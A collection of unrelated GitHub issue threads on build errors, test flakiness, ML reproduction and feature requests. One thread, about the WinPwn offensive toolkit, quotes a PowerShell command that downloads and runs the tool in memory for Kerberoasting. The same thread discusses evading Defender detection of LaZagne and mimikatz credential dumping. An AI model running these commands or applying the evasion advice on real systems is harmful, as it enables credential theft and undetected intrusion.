log4j:WARN No appenders could be found for logger (io.netty.util.internal.logging.InternalLoggerFactory).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
==>Configured miubezzi-graphapi.gremlin.cosmosdb.azure.com/<IP_ADDRESS>:443
gremlin> :remote console
==>All scripts will now be sent to Gremlin Server - [miubezzi-graphapi.gremlin.cosmosdb.azure.com/<IP_ADDRESS>:443] - type ':remote console' to return to local mode
gremlin> g.V().count()
==>5
gremlin>

@Mike-Ubezzi-MSFT I double-checked my remote-secure.yaml and found a typo. Fixing the typo resolved the issue. Thank you so much!


Mechanism to ensure newly added tests are not flaky

Today, there exists multiple flaky tests which often results in unstable builds or gradle check failure. The later is more frustrating as it blocks the PR and needs explicit retry in the hope of passing gradle check. In order to ensure, we are not adding more flaky tests with new development, we can employ below two mechanisms to gate flaky tests from merge.
1. Guide

Update pull_request_template.md to add/update line item to run newly added tests locally. Run integration tests at least 100 times & unit test 1000 times without failure.
Update developer guide with recommendation to run tests locally before submitting PR.

2. Github workflow

Add new github workflow which runs newly added tests in repetition. This supplements step 1 above.

Great request @dreamer-89! I would prefer to have only the second option to add a GHA which runs the newly added tests in repetition and fails if the any test is flaky.
This will reduce the load on the devs to run tests 100 times locally and the pain to raise a PR.


Add "Open Source Software" section

From community proposal:

Someone else suggested this, but I also think that the first paragraph on the website should have the words “open source software” because not everybody knows what OSS means

Suggestion:
Dev Protocol lets GitHub users tokenize their Open Source Software projects in a few clicks. Creating an OSS token allows projects to access sustainable funding, create underlying economic models for their project, and distribute incentives at scale. For the first time, OSS projects have a scalable solution to unlock their value.

Yes I agree with That 👍


I added support for camera and optional square crop

I modifed your package to support a second button for camera picking and optional square cropping. ImagePane just has an additonal parameter "squareShape: Bool" to toggle between circle and square.
If you're interested, I can upload the patched code here ... or tell me how else to contact you.

@vigilanz can you please share your code here as well?

@vigilanz  Do you still have the source code I could use it


Invalid Add-on repository

Could it be that the fact there's no repository.json file it results in an error when manually adding the repository to add on store?

None of my integrations have a repository.json, I also checked some others made and they don't have it either, and can't find any information about it.

You don't have to add the repository manually, it's already in HACS, just search for 'Garmin' under browse repositories.
I will update the README


Test fails with plugin stepByStepReport applied on step in function BeforeSuite

What are you trying to achieve?
The plugin stepByStepReport works if you enable it in config file. Test shouldn't fail.
What do you get instead?
$ npx codeceptjs run Concepts_test.js --verbose
...
Context: BeforeSuite
      I get random string "ATConceptNew"
    [1] Error | TypeError: Cannot read property 'toString' of undefined
    Emitted | step.failed (I get random string "ATConceptNew")
    Emitted | step.finish (I get random string "ATConceptNew")
    [1] Error | TypeError: Cannot read property 'toString' of undefined
    [1] Starting <teardown> session
    Emitted | test.failed ([object Object])
    Error processing test.failed event:
    TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string. Received type undefined
    at validateString (internal/validators.js:125:11)
    at Object.join (path.js:1147:7)
    at persist (/home/mirao/workspace/codeceptjs/node_modules/codeceptjs/lib/plugin/stepByStepReport.js:182:24)
    at EventEmitter.event.dispatcher.on (/home/mirao/workspace/codeceptjs/node_modules/codeceptjs/lib/plugin/stepByStepReport.js:109:5)
    at EventEmitter.emit (events.js:203:15)
    at EventEmitter.emit (domain.js:448:20)
    at Object.emit (/home/mirao/workspace/codeceptjs/node_modules/codeceptjs/lib/event.js:115:28)
    at errHandler (/home/mirao/workspace/codeceptjs/node_modules/codeceptjs/lib/scenario.js:101:13)
    at recorder.catch (/home/mirao/workspace/codeceptjs/node_modules/codeceptjs/lib/scenario.js:132:11)
    at promise.catch (/home/mirao/workspace/codeceptjs/node_modules/codeceptjs/lib/recorder.js:227:9)
    [1] <teardown> Stopping recording promises

Provide test source code if related

BeforeSuite(async () => {
    addedConceptName = await I.getRandomString("ATConceptNew");
    renamedConceptName = await I.getRandomString("ATConceptRenamed");
});

helper's method:
/**
* Generate random string with prefix
* @return {Promise<string>}
*/
getRandomString(prefix = "") {
    return prefix + Math.random().toString().substring(2);
}

Note that if you disable the plugin in config, the test works well.
Details

CodeceptJS version: 2.6.1
NodeJS Version: 10.18.1
Operating System: Ubuntu 20.04
webdriverio 6.0.15
Configuration file:

...
    plugins: {
        screenshotOnFail: {
            enabled: true,
            uniqueScreenshotNames: true,
        },
        "stepByStepReport": {
            "enabled": true,
        },
        autoDelay: {
            enabled: true,
            delayBefore: 500
        }
    },
...

It's not related to await call, but to the fact that if I call a helper's method in BeforeSuite function, it's considered as a step by CodeceptJS. And as there is no event listener event.suite.before defined in node_modules/codeceptjs/lib/plugin/stepByStepReport.js, test finally fails on some undefined property (I guess on stepNum). IMHO it makes no sense to create screenshots in steps in BeforeSuite because BeforeSuite doesn't have any access to web browser.
If I call a method of test (not of helper) named getRandomString from BeforeSuite, test passes because the method call is not handled as a step.
function getRandomString(prefix = "") {
    return prefix + Math.random().toString().substring(2);
}

BeforeSuite(async () => {
    addedConceptName = getRandomString("ATConceptNew");
    renamedConceptName = getRandomString("ATConceptRenamed");
});

A fix which works for me is this change in function persistStep() in  node_modules/codeceptjs/lib/plugin/stepByStepReport.js:
async function persistStep(step) {
  if (isStepIgnored(step)) return;
  if (savedStep === step) return; // already saved

  // This is my fix
  // Ignore steps in BeforeSuite function
  if (step.metaStep && step.metaStep.name === "BeforeSuite") return;
...
}

Anybody can respond if the solution is correct?

It seems that the function AfterSuite works well with stepByStepPlugin. Screenshots for steps in it are created in the folder with last test's scenario (though they cannot be reached from index.html).
So only BeforeSuite is affected.


TB-6: as a User, I want to see list of my group subscriptions

As a user, I want to see list of my group subscriptions
Acceptance criteria:

/listGroupSub command added

implemented in pull request #21


Unable to authorize

When trying to add the both to a server, i get a red message in the dialog about it being unverified.
Because of that im unable to add the bot to my server.

The bot can't join more servers as it has not been verified or is requesting gateway intends it has not been verified for.
Ask the bot's developer about https://dis.gd/bot-verification so you can add it to your server!

Same here! Is there any update?

Hey, this bot is no longer supported by me. Feel free to fork and continue it!

Thanks for the update.


UrlEncode POST parameters

Parameters of post request were not urlencoded before writing them into the body. Which led to incorrect results on server side because reserved characters were not in %-format!
Now parameter keys and values are encoded before joining them to parameter string.
fixes: #249

@kittinunf Just saw that the travis-ci tests fail. But when i run the tests locally they all pass! Do you have any ideas what the difference between the two test runs could be?

Simple nits and this PR is good to merge.

I just rerun the tests and it passed. So nothing to be done from your side. 😉

I'd benefit from this fix as well. Can we get it merged please?

@kittinunf ?

Oh sure!

@mbreithu, Thanks for your contribution
@mset, you can use the latest version of Fuel that includes the fix. 😉


won't build

Expected Behavior
I am trying to install as detailed here: https://github.com/LLK/scratch-blocks/wiki
I expect this to be successful
Actual Behavior
npm install errors
npm WARN deprecated<EMAIL_ADDRESS>🙌  Thanks for using Babel: we recommend using babel-preset-env now: please read babeljs.io/env to update!
npm WARN deprecated<EMAIL_ADDRESS>Package no longer supported. Contact<EMAIL_ADDRESS>for more info.

><EMAIL_ADDRESS>install /Users/George/Documents/Projects/ssm/website/scratch-blocks/node_modules/fsevents
> node install

[fsevents] Success: "/Users/George/Documents/Projects/ssm/website/scratch-blocks/node_modules/fsevents/lib/binding/Release/node-v59-darwin-x64/fse.node" is installed via remote
npm WARN prepublish-on-install As of npm@5, `prepublish` scripts are deprecated.
npm WARN prepublish-on-install Use `prepare` for build steps and `prepublishOnly` for upload-only.
npm WARN prepublish-on-install See the deprecation note in `npm help scripts` for more information.

><EMAIL_ADDRESS>prepublish /Users/George/Documents/Projects/ssm/website/scratch-blocks
> python build.py && webpack

Using local compiler: google-closure-compiler ...

SUCCESS: blockly_compressed_vertical.js
Size changed from 3083 KB to 939 KB (30%).
SUCCESS: blockly_uncompressed_horizontal.js
SUCCESS: blockly_uncompressed_vertical.js
SUCCESS: blockly_compressed_horizontal.js
Size changed from 3055 KB to 928 KB (30%).
SUCCESS: blocks_compressed_horizontal.js
Size changed from 39 KB to 19 KB (49%).
blocks_vertical/vertical_extensions.js:54: WARNING - Misplaced function annotation. This JSDoc is not attached to a function node. Are you missing parentheses?
  return function() {
  ^^^^^^^^^^^^^^^^^^^

0 error(s), 1 warning(s)
SUCCESS: blocks_compressed_vertical.js
Size changed from 173 KB to 87 KB (51%).
SUCCESS: blocks_compressed.js
Size changed from 21 KB to 8 KB (38%).
SUCCESS: javascript_compressed.js
Size changed from 18 KB to 12 KB (66%).
SUCCESS: python_compressed.js
Size changed from 12 KB to 6 KB (50%).
SUCCESS: php_compressed.js
Size changed from 11 KB to 5 KB (49%).
SUCCESS: dart_compressed.js
Size changed from 9 KB to 4 KB (46%).
SUCCESS: lua_compressed.js
Size changed from 7 KB to 3 KB (43%).
/Users/George/Documents/Projects/ssm/website/scratch-blocks/node_modules/webpack-cli/bin/config-yargs.js:89
				describe: optionsSchema.definitions.output.properties.path.description,
				                                           ^

TypeError: Cannot read property 'properties' of undefined
    at module.exports (/Users/George/Documents/Projects/ssm/website/scratch-blocks/node_modules/webpack-cli/bin/config-yargs.js:89:48)
    at /Users/George/Documents/Projects/ssm/website/scratch-blocks/node_modules/webpack-cli/bin/webpack.js:60:27
    at Object.<anonymous> (/Users/George/Documents/Projects/ssm/website/scratch-blocks/node_modules/webpack-cli/bin/webpack.js:515:3)
    at Module._compile (module.js:649:30)
    at Object.Module._extensions..js (module.js:660:10)
    at Module.load (module.js:561:32)
    at tryModuleLoad (module.js:501:12)
    at Function.Module._load (module.js:493:3)
    at Module.require (module.js:593:17)
    at require (internal/module.js:11:18)
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>prepublish: `python build.py && webpack`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepublish script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR!      /Users/George/.npm/_logs/2018-10-06T13_01_07_872Z-debug.log

Steps to Reproduce

git clone https://github.com/LLK/scratch-blocks.git
cd scratch-blocks
ln -s $(npm root)/google-closure-library ../closure-library
npm install

Operating System and Browser
macOS 10.14
node v9.8.0
npm 5.6.0
Python 2.7.15

same to mine ...

solved: https://github.com/webpack/webpack/issues/8082

This should be resolved in the latest webpack. Can you give it another try and let us know if you continue to have problems?


stream.shutdown( ec )?

I'm creating a class to encapsulate web service calls using boost beast. I started with the synchronous example: ssl sync
I'm still learning the ropes, so please bear with my ignorance. I wrote a unit test to exercise this functionality. It works well, a call is made, and results are returned from an Azure web service.
However, when I add this line from the sample:
      stream.shutdown( ec );
It appears to hang the unit test. Perhaps it's waiting for a response from the server or a timeout?
So, started researching this issue:  40177264 32046034 15312219
Should I be shutting down the lowest_layer?
Why is it hanging (or more generally, what is the proper way)?
I thought about asking this question in the Asio section, but my question is really about using Beast & this Sample.

Maybe this is the reason: https://github.com/chriskohlhoff/asio/issues/804

Don't use synchronous websocket if you want something robust that supports timeouts.

Yes, timeout handling for synchronous interfaces is a headache. Use async to simulate sync?


add gcf.cr

Adds gcf.cr, which allows crystal code to run "serverless" in a Google Cloud Function. This consists of both a crystal API for integrating with Google Cloud Functions, and the gcf command line tool for managing and deploying to Google Cloud Functions (both are built from the same shard).
I added it to the third party API section because there is no serverless section, but please comment if you think a new category should be created or if it makes more sense in a different category and I will make the necessary changes.

Please create a new section

@veelenga done


Can't mark any articles as read

As of today, I can no longer mark any articles as read.  I use InoReader as my feed backend.  Things I've tried to resolve the problem include restoring my ~/Library/Application Support/Vienna directory from time machine backups, reindexing the database, and force-refreshing feeds from the feed's right click-menu.  Nothing changes -- articles are not marked as unread when I visit them, nor when I right-click and select "Mark Read".
Version 3.1.9 :e81515b:

And now it's working.  I suspect a problem on InoReader's end.

@tonycpsu inoreader has these problems time to time. We should look into displaying an informative message if inoreader has failed to update the mark as read.


Hover over a tab to show a preview

Hovering over a tab will show a preview of that tab in the form of a thumbnail.

I've checked to extensions that do this, and they basically use this function:
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API/tabs/captureTab
Unfortunately, this isn't supported in Google Chrome, just in Firefox (and Android).
There is also a similar function that just gets the currently active tab: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API/tabs/captureVisibleTab


Bookyear

Adds bookyear field into backend

It looks like the conflicts are about formatting, can you run prettier and then commit again?
If you don't have the extension, easiest way to run it would be to type npm run fmt in the command line.
This is an understandable conflict since I have forgotten to check that everyone knows to use prettier.
I also changed base branch to main since that's the latest version (this can be discussed on friday but for now the main has all the latest changes) and it'd be good to merge directly into main rn to avoid conflict. And the conflicts don't go away by changing the branch, they're part of the process when working in a team and they have to be resolved.


MathJax is not applied to mathematical formula after editing html.

I use MathJax. https://www.mathjax.org/
ex.
<!DOCTYPE html>
<html>
<head>
<title>MathJax TeX Test Page</title>
<script type="text/x-mathjax-config">
  MathJax.Hub.Config({tex2jax: {inlineMath: [['$','$'], ['\\(','\\)']]}});
</script>
<script type="text/javascript" async
  src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS_CHTML">
</script>
</head>
<body>
When $a \ne 0$, there are two solutions to \(ax^2 + bx + c = 0\) and they are
$$x = {-b \pm \sqrt{b^2-4ac} \over 2a}.$$
</body>
</html>

After editing a html file with preview.  Formula is not rendered.

I fixed on my fork. https://github.com/sifue/html-preview-vscode

Delete MathJax global variable before update.
Update with 3 seconds buffering.


Investigate problem with routing to eUPF for outside

[ ] Make problem statement
[ ] Ask external experts

ℹ To think about
Amazon LTE and 5G Data Network Breakout Designs on AWS
6 Solution Designs

There are multiple designs for how LTE or 5G user plane traffic can breakout to the internet or to an application for a non-roaming scenario. AWS offers various services that enable CSP to send SGi or N6 traffic toward an application for both public and private network use cases.


Train component HFTransformersNLP MemoryError.

Rasa version:
1.8.0
Rasa SDK version (if used & relevant):
Rasa X version (if used & relevant):
Python version:
3.7.5
Operating system (windows, osx, ...):
Windows 10
Issue:
I use HFTransformersNLP to train a model: that is the data detail:
2020-03-09 21:22:58 INFO     rasa.nlu.training_data.training_data  - Training data stats:
        - intent examples: 128438 (87 distinct intents)
        - Found intents: .....
        - Number of response examples: 127879 (4910 distinct response)
        - entity examples: 145 (4 distinct entities)
        - found entities: ......

2020-03-09 21:22:58 DEBUG    rasa.nlu.training_data.training_data  - Validating training data...
2020-03-09 21:23:02 INFO     rasa.nlu.model  - Starting to train component DataCleaner
2020-03-09 21:23:02 INFO     rasa.nlu.model  - Finished training component.
2020-03-09 21:23:02 INFO     rasa.nlu.model  - Starting to train component HFTransformersNLP

After
2020-03-09 21:23:02 INFO     rasa.nlu.model  - Starting to train component HFTransformersNLP
Wait a long time then I got a MemoryError.  But in fact this component does not need training.
It seems that all the training data is converted into features here and appended to the original data at the same time. This has led to an increase in the size of the data, and finally the memory is not enough.
https://github.com/RasaHQ/rasa/blob/c1e24731ec6bb2751d38eed0e692031e9cef6b07/rasa/nlu/utils/hugging_face/hf_transformers.py#L314-L344
What could we do to fix this? If need more information, please tell me, Thanks.
Command or request that led to error:
rasa train nlu

In addition, if the amount of data is small, such as less than 100, there will be no errors.

Thanks for raising this issue, @dakshvar22 will get back to you about it soon✨
Please also check out the docs and the forum in case your issue was raised there too 🤗

@HatuneMiku Thanks for raising this. While this is a valid limitation as of now, I wonder if you need so many training examples. You approximately have 1470 examples on an average per intent. Have you tried reducing the training data and evaluate the trained model on a test set in that case?

Yes, I have a lot of training data, but most of them are used for FAQ response (ResponseSelector component).
- Number of response examples: 127879 (4910 distinct response)
In fact, there are about 26 examples on an average per response. I will try to reduce each response example to 4 and try again.


Discussion: tld outside of package version

Currently supporting additional tld requires a new version of the package.
I have been wondering if the supported tld's could be disconnected from the package.
In terms of code is is not very difficult but there are naturally other factors beside the code changes.
if we would move the current data in tld_regexpr.py to a json or yaml file and we allow the whois interface to point to a file outside of the package while providing a default in case no file is specified, we could disconnect the adding of tld's from the package version.
A validator for the file format would be advisable in this case, and i can foresee issues with air-gapped environments or environments that frown on downloading data from the internet so the file should be part of the package also but additions or changes could be added and merged at runtime.
This would allow fast changes for those who only use the package by just adding new domains via a outside file that will be merged in the tld and regexp pool.
let me hear your thoughts on this.
Maarten

as a precursor i rewrote the tld_regexpr to use a dict
this gets rid of all mappings using _ instead of . and we dont need to hide python keywords
the _0_init_tld will do the loading on import to setup the dict of regexpr
https://github.com/maarten-boot/python-whois/tree/experiment-tld-dict

a  example override and defining previously unsupported domain are now in the experimental branch at my repo
https://github.com/maarten-boot/python-whois/blob/experiment-tld-dict/testExtend.py

is this a acceptable move forward ?
shall i make a implementaton for it ?

yes , lets do it :)

in pull/258

can be closed


Tried to fix pretrained weights but performance still lower than reported

I tried to replicate the results of the project on Market1501, DukeMTMC and MSMT17 using Pytorch 1.3.1.
First, I found some mismatches of duke and msmt17 pretrained weights with model definitions. The following code shoud be inserted
for k, v in pretrain_dict.items():
            # fix pretrained weights for duke and msmt17
            if (args.load_weights.startswith('duke') or args.load_weights.startswith('msmt17')) and (k.startswith('branches.1.1.cam_module') or k.startswith('branches.1.1.pam_module')):
                k = k.replace('branches.1', 'branches.0')
            ######################
            if not (k in model_dict and model_dict[k].size() == v.size()):
                if k in model_dict:
                    print('param miss match', k, v.size(), model_dict[k].size())
                else:
                    print('extra key', k)
            else:
                print('matched key', k)

before the line
pretrain_dict = {k: v for k, v in pretrain_dict.items() if k in model_dict and model_dict[k].size() == v.size()}

in file train.py to fix the problem.
Then, I evaluated pretrained weights using the following commands:
python3 train.py -s market1501 -t market1501 --evaluate --load-weights market_checkpoint_best.pth.tar --height 384  --use-of --abd-dan cam pam --abd-np 3 --shallow-cam --use-ow
python3 train.py -s dukemtmcreid -t dukemtmcreid --evaluate --load-weights duke_checkpoint_best.pth.tar --height 384  --use-of --abd-dan cam pam --abd-np 3 --shallow-cam --use-ow
python3 train.py -s msmt17 -t msmt17 --evaluate --load-weights msmt17_final_best.pth.zip.tar --height 384 --use-of --abd-dan cam pam --abd-np 3 --shallow-cam --use-ow

For flip evaluation, I added an aditional parameter --filp-eval
Here is the result:

Datasets
mAP
R1
mAP(flip_eval)
R1(flip_eval)
mAP(paper)
R1(paper)

market1501
86.1
94.6
86.8
94.7
88.3
95.6

dukemtmc
76.3
87.4
77.1
87.8
78.6
89.0

msmt17
48.4
73.8
Insufficient Memory?
Insufficient Memory?
60.8
82.3

For makert1501 and dukemtmc, the replicated performance is a bit slower than reported. For msmt17, however, the performance gap is significant.
Could the authors help me find the cause of performance drop? It is crucial since the paper reported performance gain compared with other competitive methods (such as IANet, DGNet) by a great margin (at least 8% in mAP and 5% in R1) on MSMT17. Personally, I think it's strange that this great advantage is not present on DukeMTMC-reid and Market1501 but present on MSMT17 only.
I noticed the original dataset page of msmt17 is not available now. What I got is with three folders only:

MSMT17
-- bounding_box_train
-- bounding_box_test
-- query
The total number of gallery images is 82161 and total number of query images is 11659, which are correct. Dataset file msmt17.py is updated as

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
import glob
import re
import sys
import urllib
import tarfile
import zipfile
import os.path as osp
from scipy.io import loadmat
import numpy as np
import h5py
#from scipy.misc import imsave

from .bases import BaseImageDataset

class MSMT17(BaseImageDataset):
    """
    MSMT17

    Reference:
    Wei et al. Person Transfer GAN to Bridge Domain Gap for Person Re-Identification. CVPR 2018.

    URL: http://www.pkuvmc.com/publications/msmt17.html

    Dataset statistics:
    # identities: 4101
    # images: 32621 (train) + 11659 (query) + 82161 (gallery)
    # cameras: 15
    """
    #dataset_dir = 'msmt17'
    dataset_dir = 'MSMT17'

    def __init__(self, root='data', verbose=True, **kwargs):
        super(MSMT17, self).__init__()
        self.dataset_dir = osp.join(root, self.dataset_dir)
        self.train_dir = osp.join(self.dataset_dir, 'bounding_box_train')
        self.test_dir = osp.join(self.dataset_dir, 'bounding_box_test')
        self.query_dir = osp.join(self.dataset_dir, 'query')
        #self.list_train_path = osp.join(self.dataset_dir, 'MSMT17_V1/list_train.txt')
        #self.list_val_path = osp.join(self.dataset_dir, 'MSMT17_V1/list_val.txt')
        #self.list_query_path = osp.join(self.dataset_dir, 'MSMT17_V1/list_query.txt')
        #self.list_gallery_path = osp.join(self.dataset_dir, 'MSMT17_V1/list_gallery.txt')

        self._check_before_run()
        train = self._process_dir(self.train_dir)
        #val = self._process_dir(self.train_dir, self.list_val_path)
        query = self._process_dir(self.query_dir)
        gallery = self._process_dir(self.test_dir)

        #train += val
        #num_train_imgs += num_val_imgs

        if verbose:
            print("=> MSMT17 loaded")
            self.print_dataset_statistics(train, query, gallery)

        self.train = train
        self.query = query
        self.gallery = gallery

        self.num_train_pids, self.num_train_imgs, self.num_train_cams = self.get_imagedata_info(self.train)
        self.num_query_pids, self.num_query_imgs, self.num_query_cams = self.get_imagedata_info(self.query)
        self.num_gallery_pids, self.num_gallery_imgs, self.num_gallery_cams = self.get_imagedata_info(self.gallery)

    def _check_before_run(self):
        """Check if all files are available before going deeper"""
        if not osp.exists(self.dataset_dir):
            raise RuntimeError("'{}' is not available".format(self.dataset_dir))
        if not osp.exists(self.train_dir):
            raise RuntimeError("'{}' is not available".format(self.train_dir))
        if not osp.exists(self.test_dir):
            raise RuntimeError("'{}' is not available".format(self.test_dir))

    def _process_dir(self, dir_path):
        #with open(list_path, 'r') as txt:
        #    lines = txt.readlines()
        lines = [f for f in os.listdir(dir_path) if f.endswith('.jpg') ]
        dataset = []
        pid_container = set()
        for img_idx, img_name in enumerate(lines):
            pid, camid, _ = img_name.split('_')
            pid = int(pid) # no need to relabel
            camid = int(camid[1:]) - 1 # index starts from 0
            img_path = osp.join(dir_path, img_name)
            dataset.append((img_path, pid, camid))
            pid_container.add(pid)
        num_pids = len(pid_container)
        # check if pid starts from 0 and increments with 1
        for idx, pid in enumerate(pid_container):
            assert idx == pid, "See code comment for explanation"
        return dataset

Confirm that problem. I also didn't manage to get the SOTA result on MSMT.

See issue #23
Maybe this helps?


[Feature]: Create a new page for Rust programming Language

Is your feature request related to a problem? Please describe.
No response
Describe the solution you'd like
include resources and information about Rust. pls assign
Describe alternatives you've considered
No response
Additional context
No response

go ahead @piyushw0203

are you still working on this issue? @piyushw0203

yes, I'll try to do it by today EOD

I could do this too

@tamago01 assigned to you

closing this issue as of now


Pin tab not working

Show pin in menu but when i click never pinned tab, always show "pin tab"

This pull request broke this behavior by removing the .right-clicked class that gets applied to the tab currently being right-clicked. The author remarks that they removed it because it was “unused,” but I think this was an oversight, since I can discern no other obvious way for a package to know which tab is currently being right-clicked.
Since I'm still using Zentabs through Pulsar, I will probably submit a PR to Pulsar itself to fix this removal.

The just-released Pulsar v1.102.0 fixes this issue. I just verified that pinning tabs via the context menu works as expected.


tellform.com: no result and analytics saved

I just created a form on tellform.com and finished it successful.
No submitted data is saved, na analytics are saved too.
Tried with Chrome 54.0.2840.71 (mac) and Safari 10.0.1 (mac).

@jazzcrack I've fixed the no results problem. Will push to the live site soon.

I'll take a look at the analytics problem

This has been fixed and pushed to the master branch


Broken Arabic Characters in PDF on pluto_grid_plus_export

Dear Pluto Grid Plus Export Team,
I'm encountering an issue with generating PDF files using the Pluto Grid Plus Export package (version 1.0.4). When I include Arabic text in the exported data, the resulting PDF displays the Arabic characters broken and reversed.
Steps to Reproduce:

Install the pluto_grid_plus_export package (version 1.0.4) in a Flutter project.
Create a Pluto Grid widget and populate it with data containing Arabic text.
Use the PlutoGridDefaultPdfExport class to generate a PDF from the Pluto Grid.
Open the generated PDF file.

Expected Behavior:
The Arabic characters should appear correctly in the PDF, aligned from right to left and maintaining their original glyphs.
Observed Behavior:
The Arabic characters are displayed broken and reversed in the PDF. Individual characters are separated and appear in the wrong order.
Additional Information:

I have tried using different Arabic fonts, but the issue persists.
I have verified that the text is encoded in UTF-8 before being passed to the PDF generation process.
I have updated the pluto_grid_plus_export package to the latest version (1.0.4), but the issue remains.

Request:
I kindly request your assistance in investigating this issue and providing a solution to ensure proper rendering of Arabic characters in PDF files generated using the Pluto Grid Plus Export package.
Thank you for your time and attention to this matter.

I don't think this can be solved easily, most pdf converters do not support Unicode easily, better to depend on third-party services or server-side generation for your pdf.


Auto creation of adventures and sessions based on the ABT information

Add the ability to generate adventures and session from ABT/Story Circle information:
Campaigns

add a button to generate adventures from the Story Circle information, copying the information in the Story Circle structure to the synopsis of the adventure

Adventures

add a button to generate sessions from the ABT information, copying the information in the ABT structure to the synopsis of the session.

Released in v1.1.1


Align GH-Actions internal Repo with KLM Repo

Description
With https://github.com/kyma-project/lifecycle-manager/issues/1457 E2E tests have been introduced in the management-plane-charts repository (branch: chart/lifecycle-manager). Due to restrictions in the self-hosted runners in the internal repo, we needed to rewrite some Github Actions for the internal repo. For simplification they have been implemented in the internal repository directly.
These Actions should be removed from the internal repository and should replace the actions in the Lifecycle-Manager repository - and thus the internal repo should reuse the actions from the Lifecycle-Manager repo.
Reasons

Single source of truth for internal and OS E2E tests

Acceptance Criteria

[ ] Remove following actions from internal repo and introduce them in the OS repo

[ ] install-cmctl
[ ] install-istioctl
[ ] install-k3d
[ ] install-kustomize
[ ] install-kyma-cli

[ ] Use the new actions from OS in the KLM E2E test, as well as for the internall E2E tests

Blocked by https://github.com/kyma-project/lifecycle-manager/issues/1640


Precision

How about Precision:  https://www.nexusmods.com/skyrimspecialedition/mods/72347
Thanks !

Wow - thanks a lot !


pip install failing

ERROR: No matching distribution found for pyrfa
Tried with python 3.7
Uptodate pypi
Any reason why this should not work?

Which platform is it?

I can confirm, using Python 3.9.1, same error.


/nowrap nomore!

Coudl you re-add /nowrap to the ASREP and Kerberaosting options please! Seems to of gone on at least the offline version.
I find the offline version very useful and use it more often as limited access to the interenet is a usual position im in.
Thanks!

Whoops I‘ll add it again. Domainpasswordspray is also broken atm. Gonna do that tomorrow 👌

Give e9db01a3f0b8479570e076140d2ac1134766bfde a try and tell me if its fixed. LaZagne is also replaced, but its signature won´t last long as always with public tools. It´s better to build your own customized version.

Thanks man. I should be able to test on Monday. and i'll report back.
Currently trying to find trigger points on the mimikatz tutorial of your i followed as its getting caught again now.
Great article by the way.

Just tested on a win10 box and its detected immediately by Defender.
See screenshot attached.
Interesting that is more about behaviour than the file itself.
This is a similar message im getting for my custom mimikataz file.
Maybe they have updated defender to look more on behaviour.

One of the first things Lazagne does with the "all" parameter is dumping SAM and SYSTEM hives from the registry to get the SAM-Database credentials. Maybe that is detected, I found many AV/EDR vendors looking for that behaviour in the past. The only method to avoid the detection is to remove the SAM/SYSTEM dump from LaZagne and use for example InternalMonologue for the hashes instead. But I´ll leave that up to you ;-)

Thanks for the support all good now. Can confirm that /nowrap is sorted also.

Yo!
Just rechecked option 8 from the menu for kerberoasting and the output loses the /nowrap again, can you update?
For clarity:
I downloaded winpwn in memory using:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Selected Option: 8
viewed output: "Kerberoasting_Rubeus.txt"

Fixed with 3ab6c6c0fcc91f8f98ed2df1de17c7a0592342fb. Only fixed it for the Offline version last time.


Enable mTLS for e2e tests and HTTPS for KinD cluster

Issue link

https://issues.redhat.com/browse/RHOAIENG-7055
What changes have been made

Exposing HTTPS endpoint on KinD to be able to test gRPC calls.
Verification steps

N/A
Checks

[ ] I've made sure the tests are passing.
Testing Strategy

[ ] Unit tests
[ ] Manual tests
[ ] Testing is not required for this change

/lgtm

/approve


Cursor keys in notebooks

In Chrome, clicking on a Panel slider widget will turn the outline blue, and then the slider can be controlled by the left and right arrow keys:

This is very convenient, but the cursor keys are also used to scroll horizontally in a Jupyter notebook output cell, whenever the output is larger than the area of that cell. In that case, the output scrolls whenever the widget is adjusted using the arrow keys, which is very confusing and distracting.  Is there some way for the widget to swallow the keypress events once it uses them so that they aren't also available to Jupyter to control the horizontal scrolling of the output area?  If one does want to scroll that area, one can simply not have a widget highlighted, and it seems like once the widget is highlighted only that widget should be processing the keypress events.

Is there some way for the widget to swallow the keypress events once it uses them so that they aren't also available to Jupyter to control the horizontal scrolling of the output area?

No, this is a general issue with all kinds of interactions in the notebook and should be opened as an issue on the bokeh issue tracker. I suspect it's a very hard problem though. I'll close as this is definitely  not something we can address in panel.


Removed '+patchMergeKey' and '+patchStrategy' markers.

Removed '+patchMergeKey' and '+patchStrategy' markers.
These are for guiding strategic merge, which is not supported on CRDs.
According to https://github.com/kubernetes-sigs/gateway-api/issues/342 the markers +patchMergeKey' and '+patchStrategy' don't work on CRDs.
I've tested this by running make generate and make manifests and the resulting yaml CRD didn't change.
The desired effect in config/crd/bases/self-node-remediation.medik8s.io_selfnoderemediations.yaml
type: array
                x-kubernetes-list-map-keys:
                - type
                x-kubernetes-list-type: map

is from '+listType' and '+listMapKey' as already applied.

/retest

/approve
@mshitrit fyi


fhir-notification design can lead to false notifications for failed transactions

Describe the bug
The current fhir-notification engine is built on top of our FHIRPersistenceInterceptor mechanism.
Specifically, we emit the events when we invoke the afterX methods.
The problem with this is that those afterX methods are called before the transaction is committed.
Therefor, its still possible for the transaction to fail after the event is fired.
Environment
main
To Reproduce
Steps to reproduce the behavior:

enable notifications (any impl)
force a transaction to fail AFTER getInterceptorMgr().fireAfterDeleteEvent(event); is called

note that subscibers still receive the event even though the create/update/delete change wasn't committed
Expected behavior
events are only fired for interactions that complete successfully
Additional context
I think it would be better to fire the events AFTER the transaction is committed.
Unfortunately, that means that (unless we change the design more significantly) this could lead to a greater chance of missing events (e.g. event submission fails after transaction commits), but missing events seems much better than erroneous ones to me.
This could take one of a few flavors:
A. keep it based on FHIRPersistenceInterceptor but add new afterX flavors that fire after the transaction commits
B. make it work more like audit events which are now fired after transaction completion
Note: Paul mentioned that the current implementation is already using "commit async" to fire the events on NATS/Kafka, and so we already have the potential for failed submission of events.
Alternatively, we could move the event notification completely out of the request processing flow and fire them based on polling the history table/endpoints (or something like that).
Potentially related, but different, from https://github.com/IBM/FHIR/issues/1957

